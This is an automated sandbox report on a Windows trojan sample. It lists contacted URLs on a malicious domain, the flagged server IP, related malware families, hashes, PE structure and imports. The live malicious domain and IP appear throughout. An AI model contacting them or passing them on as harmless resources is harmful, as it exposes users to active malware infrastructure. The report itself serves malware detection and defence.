SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2395775873.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2304843739.000000000051B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/ign.mpeg?dare=true	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.3261508325.000000000313D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/sign.mpeg?dare=true%YE	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2275023579.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2334675503.00000000004E9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2931428688.00000000004E7000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2304843739.00000000004E9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2275111012.00000000004E7000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/nr	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2841533366.000000000313D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/sign.mpeg?dare=truebd8	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2151387101.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2181259233.000000000051B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/sign.mpeg?dare=trueHj	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2901567104.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2334675503.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2498019988.000000000051C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2438416359.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2304843739.000000000051B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/sign.mpeg?dare=truephic	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2304843739.00000000004B1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/sign.mpeg?dare=truet	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2395775873.00000000004E9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/sign.mpeg?dare=true:d	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2151387101.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2181259233.000000000051B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/sign.mpeg?dare=trueNx	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2364213906.00000000004E9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/r	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2245388886.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2212647131.000000000051B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/sign.mpeg?dare=true.0h	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.3291723868.000000000313D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.3261508325.000000000313D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/8j	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000002.3314909007.000000000051B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/o	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.3291723868.000000000313D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/sign.mpeg?dare=truedll	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000002.3314909007.0000000000459000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/v	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2275023579.00000000004B1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2304843739.00000000004B1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2275023579.00000000004B1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2151387101.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2364213906.00000000004E9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000002.3314909007.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.3218783983.000000000313D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2438416359.00000000004B1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2151112670.00000000004B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.3188931002.000000000313D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2304843739.00000000004B1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2468168029.00000000004B1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.3261508325.000000000313D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2245218172.00000000004B4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.3099234815.000000000313D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2212324717.00000000004B4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2121493380.00000000004B1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2498019988.00000000004B1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2395775873.00000000004B1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000002.3314909007.00000000004A2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2092109726.00000000004B1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2181153623.00000000004DC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.3051105235.000000000313D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/sign.mpeg?dare=trueTj	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2468168029.000000000051B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/sign.mpeg?dare=truesrP	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2781427971.000000000313D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/sign.mpeg?dare=truezY	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2245388886.00000000004E8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2212647131.00000000004E8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/sign.mpeg?dare=trueL	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2468168029.000000000051B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/sign.mpeg?dare=trueLj	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000002.3314909007.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2438416359.000000000051B000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
89.150.57.46	easthoolbook.com	Italy		39356	AVANTI-UK-ASGB	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1428763
Start date and time:	2024-04-19 15:30:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe
Detection:	MAL
Classification:	mal92.troj.evad.winEXE@1/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 73% Number of executed functions: 9 Number of non-executed functions: 258
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AVANTI-UK-ASGB	4cpLrmQNPM.elf	Get hash	malicious	Mirai	Browse	41.198.120.194
	Quotation_Doc.wsf	Get hash	malicious	Python Stealer	Browse	89.150.57.121
	BqGE57kqQq.elf	Get hash	malicious	Mirai, Moobot	Browse	41.198.120.153
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	41.198.120.188
	I5MXVvJym2.elf	Get hash	malicious	Mirai	Browse	88.210.159.170
	MnR9Zf2F4a.elf	Get hash	malicious	Mirai	Browse	41.198.120.178
	13TOimKEUH.elf	Get hash	malicious	Mirai, Moobot	Browse	41.198.120.176
	0byIXCn6Uf.elf	Get hash	malicious	Mirai, Moobot	Browse	41.198.119.249
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	41.198.120.163
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	41.198.120.185

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	UMMAN #U0130HRACAT AFR5641 910-1714 1633.exe	Get hash	malicious	GuLoader, Remcos	Browse	89.150.57.46
	SecuriteInfo.com.Trojan.DownLoader40.42214.8350.4072.exe	Get hash	malicious	Unknown	Browse	89.150.57.46
	SecuriteInfo.com.Trojan.DownLoader40.42214.8350.4072.exe	Get hash	malicious	Unknown	Browse	89.150.57.46
	POTWIERDZENIE_TRANSAKCJI_20240418145856.exe	Get hash	malicious	GuLoader	Browse	89.150.57.46
	eInvoicing_pdf.vbs	Get hash	malicious	FormBook	Browse	89.150.57.46
	SecuriteInfo.com.Program.Unwanted.5412.9308.3353.exe	Get hash	malicious	PureLog Stealer	Browse	89.150.57.46
	SecuriteInfo.com.Program.Unwanted.5412.9308.3353.exe	Get hash	malicious	PureLog Stealer	Browse	89.150.57.46
	Shipping Dcuments_CI PKL_HL_.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	89.150.57.46
	F723838674.vbs	Get hash	malicious	Unknown	Browse	89.150.57.46
	Request for Proposal Quote_2414976#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	89.150.57.46

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.412960095301957
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe
File size:	3'636'736 bytes
MD5:	c720c50306558112b389ef44cff494f1
SHA1:	476f36c3f3a3aa0141b481fb683d3c0cbd767def
SHA256:	6b655ddf0b5cda5d24b62d2f387e0f83e57b7a931f55f49ad274b002c1a68b23
SHA512:	eac2ba4774dce3667226f246940818412acadb556ac714a41d3790564200c015622cac38364657f46a47bb7a0fc5f4a9a39786acfd43a502b8d051ee61b2cf74
SSDEEP:	49152:JkIpd4zV1qhdWfcYmw+FFndWaIO18B+VhlRVmgi5HKEOaDNkNVLORJ5kjAYW:yYVYlBWRVmgZyC0k0
TLSH:	D1F57DC9D6AC40E9D1A79234C902857BDEB1BC113A76F7DF30690E4A2F631A9CD59332
File Content Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......9.B.}.,.}.,.}.,...(.a.,.../.n.,...)...,...(.[.,.../.q.,...)...,...*.p.,...-.\.,.}.-.g.,...)...,...)...,...%.t.,.....\|.,.}...\|.,

File Icon


Icon Hash:	072c1d4933138e4d

Static PE Info

General

Entrypoint:	0x1401cbf38
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA
Time Stamp:	0x65C323A8 [Wed Feb 7 06:31:04 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	3b504801f5d6b0cd4eeeea42835639ab

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F73DC9D055Ch
dec eax
add esp, 28h
jmp 00007F73DC9CFAFBh
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
xor ecx, ecx
call dword ptr [00047593h]
dec eax
mov ecx, ebx
call dword ptr [00047582h]
call dword ptr [000478A4h]
dec eax
mov ecx, eax
mov edx, C0000409h
dec eax
add esp, 20h
pop ebx
dec eax
jmp dword ptr [00047578h]
dec eax
mov dword ptr [esp+08h], ecx
dec eax
sub esp, 38h
mov ecx, 00000017h
call 00007F73DCA05389h
test eax, eax
je 00007F73DC9CFC89h
mov ecx, 00000002h
int 29h
dec eax
lea ecx, dword ptr [0011E6ABh]
call 00007F73DC9CFE4Fh
dec eax
mov eax, dword ptr [esp+38h]
dec eax
mov dword ptr [0011E792h], eax
dec eax
lea eax, dword ptr [esp+38h]
dec eax
add eax, 08h
dec eax
mov dword ptr [0011E722h], eax
dec eax
mov eax, dword ptr [0011E77Bh]
dec eax
mov dword ptr [0011E5ECh], eax
dec eax
mov eax, dword ptr [esp+40h]
dec eax
mov dword ptr [0011E6F0h], eax
mov dword ptr [0011E5C6h], C0000409h
mov dword ptr [0011E5C0h], 00000001h
mov dword ptr [0011E5CAh], 00000001h
mov eax, 00000008h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2d1080	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x306000	0x70698	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x2ed000	0x185e8	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x377000	0xf7b8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x28bdb0	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x28bf18	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x28be20	0xf8	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x213000	0x1328	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x211a3c	0x211c00	a7bb40416dfe6477f8e3ce3ca337326c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x213000	0xc1e58	0xc2000	fdbdad3cc633e673fd958b18b960df54	False	0.27393962427512886	data	4.498731764060973	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2d5000	0x1771c	0xb800	c2df8284278ede26c37d438e19173d49	False	0.16550611413043478	data	4.479725947739707	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x2ed000	0x185e8	0x18600	704edeed305891f0bf7ceec95f99d1ad	False	0.504286858974359	data	6.2240240078238855	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x306000	0x70698	0x70800	4b5d2bf5b01b522a4531a99ecfd6c5d0	False	0.7417035590277777	data	7.144230024604653	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x377000	0xf7b8	0xf800	36f1ec4316f8ab104ef0c0169949ba29	False	0.0985383064516129	data	5.449482947571136	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x306468	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	United States	0.369136460554371
RT_ICON	0x307310	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	United States	0.4187725631768953
RT_ICON	0x307bb8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	United States	0.4147398843930636
RT_ICON	0x308120	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.5245850622406639
RT_ICON	0x30a6c8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.6285178236397748
RT_ICON	0x30b770	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.7668439716312057
RT_ICON	0x30bbd8	0x19df	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9818813226634455
RT_ICON	0x30d5b8	0x1891	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9790109715376053
RT_ICON	0x30ee4c	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 0	English	United States	0.06688453803383414
RT_ICON	0x31f674	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 0	English	United States	0.14365847897968823
RT_ICON	0x32389c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.20653526970954356
RT_ICON	0x325e44	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 0	English	United States	0.2338757396449704
RT_ICON	0x3278ac	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.2797842401500938
RT_ICON	0x328954	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	English	United States	0.3495901639344262
RT_ICON	0x3292dc	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 0	English	United States	0.3866279069767442
RT_ICON	0x329994	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.4512411347517731
RT_DIALOG	0x329dfc	0x4c0df	data			0.9726180425592018
RT_GROUP_ICON	0x375edc	0x92	data	English	United States	0.726027397260274
RT_VERSION	0x375f70	0x4a4	data	English	United States	0.4107744107744108
RT_MANIFEST	0x376414	0x282	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5529595015576324

Imports

DLL	Import
KERNEL32.dll	EncodePointer, GetSystemDirectoryW, CompareStringW, GetLocaleInfoW, GetUserDefaultUILanguage, GlobalFlags, SetEvent, WaitForSingleObject, CreateEventW, SetThreadPriority, ResumeThread, FreeResource, GlobalFindAtomW, WriteFile, GetCurrentDirectoryW, FileTimeToLocalFileTime, GetFileAttributesW, GetFileAttributesExW, GetFileSizeEx, GetFileTime, SystemTimeToTzSpecificLocalTime, VirtualProtect, lstrcpyW, FindResourceExW, GetWindowsDirectoryW, VerSetConditionMask, VerifyVersionInfoW, GetTempFileNameW, GetTempPathW, GetTickCount, GetProfileIntW, SearchPathW, GetUserDefaultLCID, ResetEvent, WaitForSingleObjectEx, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetStartupInfoW, QueryPerformanceCounter, GetSystemTimeAsFileTime, InitializeSListHead, OutputDebugStringW, GetStringTypeW, LCMapStringW, GetCPInfo, RtlUnwindEx, RtlPcToFileHeader, GetStdHandle, GetFileType, WriteConsoleW, GetCommandLineA, GetCommandLineW, HeapQueryInformation, CreateThread, ExitThread, FreeLibraryAndExitThread, GetSystemInfo, VirtualAlloc, VirtualQuery, QueryPerformanceFrequency, SetStdHandle, GetACP, IsValidLocale, EnumSystemLocalesW, SetFilePointerEx, GetConsoleMode, ReadConsoleW, GetConsoleCP, GetTimeZoneInformation, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetOEMCP, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, SetEnvironmentVariableW, GetLocalTime, UnlockFile, SetFilePointer, SetEndOfFile, ReadFile, LockFile, GetVolumeInformationW, GetFullPathNameW, GetFileSize, FlushFileBuffers, FindFirstFileW, FindClose, DeleteFileW, CreateFileW, GlobalAddAtomW, lstrcmpW, GlobalDeleteAtom, LoadLibraryExW, FreeLibrary, GetVersionExW, FileTimeToSystemTime, GlobalGetAtomNameW, lstrcmpA, GetCurrentProcessId, LocalReAlloc, LocalAlloc, GlobalHandle, GlobalReAlloc, TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, GetProcAddress, GetModuleHandleW, QueryActCtxW, FindActCtxSectionStringW, DeactivateActCtx, ActivateActCtx, CreateActCtxW, LoadLibraryW, GetModuleHandleExW, GetModuleFileNameW, OutputDebugStringA, WideCharToMultiByte, SetLastError, CopyFileW, MulDiv, GlobalFree, GlobalUnlock, GlobalLock, GlobalSize, GlobalAlloc, lstrcmpiW, GetCurrentProcess, ExitProcess, DuplicateHandle, MoveFileExW, GetDriveTypeW, GetFileInformationByHandle, PeekNamedPipe, CloseHandle, OpenEventW, GetProcessHeap, DeleteCriticalSection, HeapDestroy, DecodePointer, HeapAlloc, RaiseException, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, HeapFree, Sleep, MultiByteToWideChar, GetLastError, FindResourceW, LoadResource, LockResource, SizeofResource, SetConsoleCtrlHandler, GetCurrentThreadId, LocalFree, FormatMessageW
USER32.dll	SetLayeredWindowAttributes, EnumDisplayMonitors, SetClassLongPtrW, SetWindowRgn, SetParent, OpenClipboard, CloseClipboard, SetClipboardData, EmptyClipboard, DrawStateW, DrawEdge, DrawFrameControl, IsZoomed, GetSystemMenu, BringWindowToTop, SetCursorPos, CopyIcon, FrameRect, DrawIcon, UnionRect, UpdateLayeredWindow, MonitorFromPoint, LoadAcceleratorsW, TranslateAcceleratorW, InsertMenuItemW, UnpackDDElParam, ReuseDDElParam, GetComboBoxInfo, WaitMessage, GetKeyboardLayout, IsCharLowerW, MapVirtualKeyExW, ToUnicodeEx, GetKeyboardState, CreateAcceleratorTableW, DestroyAcceleratorTable, CopyAcceleratorTableW, SetRect, LockWindowUpdate, SetMenuDefaultItem, GetDoubleClickTime, ModifyMenuW, RegisterClipboardFormatW, CharUpperBuffW, IsClipboardFormatAvailable, GetUpdateRect, DrawMenuBar, DefFrameProcW, DefMDIChildProcW, TranslateMDISysAccel, SubtractRect, CreateMenu, GetWindowRgn, DestroyCursor, EndPaint, BeginPaint, SetForegroundWindow, GetForegroundWindow, SetActiveWindow, UpdateWindow, TrackPopupMenu, SetMenu, GetMenu, GetCapture, IsIconic, EndDeferWindowPos, DeferWindowPos, BeginDeferWindowPos, SetWindowPlacement, GetWindowPlacement, DestroyWindow, GetIconInfo, IsMenu, CreateWindowExW, GetClassInfoExW, GetClassInfoW, RegisterClassW, CallWindowProcW, DefWindowProcW, GetMessageTime, GetMessagePos, RegisterWindowMessageW, GetScrollPos, SetScrollPos, CallNextHookEx, SetWindowsHookExW, GetCursorPos, ValidateRect, GetKeyState, GetActiveWindow, IsWindowVisible, PeekMessageW, RealChildWindowFromPoint, GetKeyNameTextW, GetDesktopWindow, PtInRect, ClientToScreen, GetWindowRect, CharUpperW, DestroyIcon, PostMessageW, IsDialogMessageW, GetWindow, SetWindowLongW, SetWindowTextW, GetFocus, SetFocus, GetDlgCtrlID, CheckDlgButton, GetDlgItem, SetWindowPos, MoveWindow, ShowWindow, IsWindow, GetWindowTextLengthW, GetWindowTextW, GetLastActivePopup, GetWindowThreadProcessId, GetParent, GetWindowLongW, MessageBoxW, IsWindowEnabled, EnableWindow, SendMessageW, LoadCursorW, GetSysColorBrush, GetSysColor, ReleaseDC, GetDC, GetSystemMetrics, UnhookWindowsHookEx, RemoveMenu, AppendMenuW, InsertMenuW, GetMenuItemCount, GetMenuItemID, GetSubMenu, GetMenuState, GetMenuStringW, DrawIconEx, PostThreadMessageW, GetMessageW, TranslateMessage, DispatchMessageW, MapVirtualKeyW, IsRectEmpty, DrawFocusRect, WindowFromPoint, ReleaseCapture, SetCapture, GetNextDlgGroupItem, LoadImageW, TrackMouseEvent, IntersectRect, MapDialogRect, GetAsyncKeyState, GetNextDlgTabItem, EndDialog, CreateDialogIndirectParamW, OffsetRect, SetRectEmpty, SendDlgItemMessageA, InflateRect, GetMenuItemInfoW, DestroyMenu, FillRect, GetWindowDC, TabbedTextOutW, GrayStringW, DrawTextExW, RedrawWindow, InvalidateRect, KillTimer, SetTimer, DeleteMenu, SetCursor, ShowOwnedPopups, SystemParametersInfoW, CopyImage, LoadBitmapW, SetMenuItemInfoW, GetMenuCheckMarkDimensions, SetMenuItemBitmaps, EnableMenuItem, CheckMenuItem, GetMonitorInfoW, MonitorFromWindow, WinHelpW, GetScrollInfo, GetMenuDefaultItem, LoadMenuW, CreatePopupMenu, NotifyWinEvent, InvertRect, HideCaret, EnableScrollBar, GetClassNameW, MessageBeep, SetScrollInfo, LoadIconW, GetTopWindow, GetClassLongPtrW, SetWindowLongPtrW, GetWindowLongPtrW, EqualRect, CopyRect, MapWindowPoints, ScreenToClient, AdjustWindowRectEx, GetClientRect, RemovePropW, PostQuitMessage, GetPropW, SetPropW, ShowScrollBar, GetScrollRange, SetScrollRange, IsChild, ScrollWindow, DrawTextW
ole32.dll	IsAccelerator, CoCreateInstance, OleTranslateAccelerator, OleDestroyMenuDescriptor, OleCreateMenuDescriptor, OleLockRunning, RevokeDragDrop, RegisterDragDrop, CoLockObjectExternal, OleGetClipboard, DoDragDrop, CreateStreamOnHGlobal, CoInitialize, CoDisconnectObject, ReleaseStgMedium, OleDuplicateData, CoTaskMemFree, CoTaskMemAlloc, CoUninitialize, CoInitializeEx, OleRun
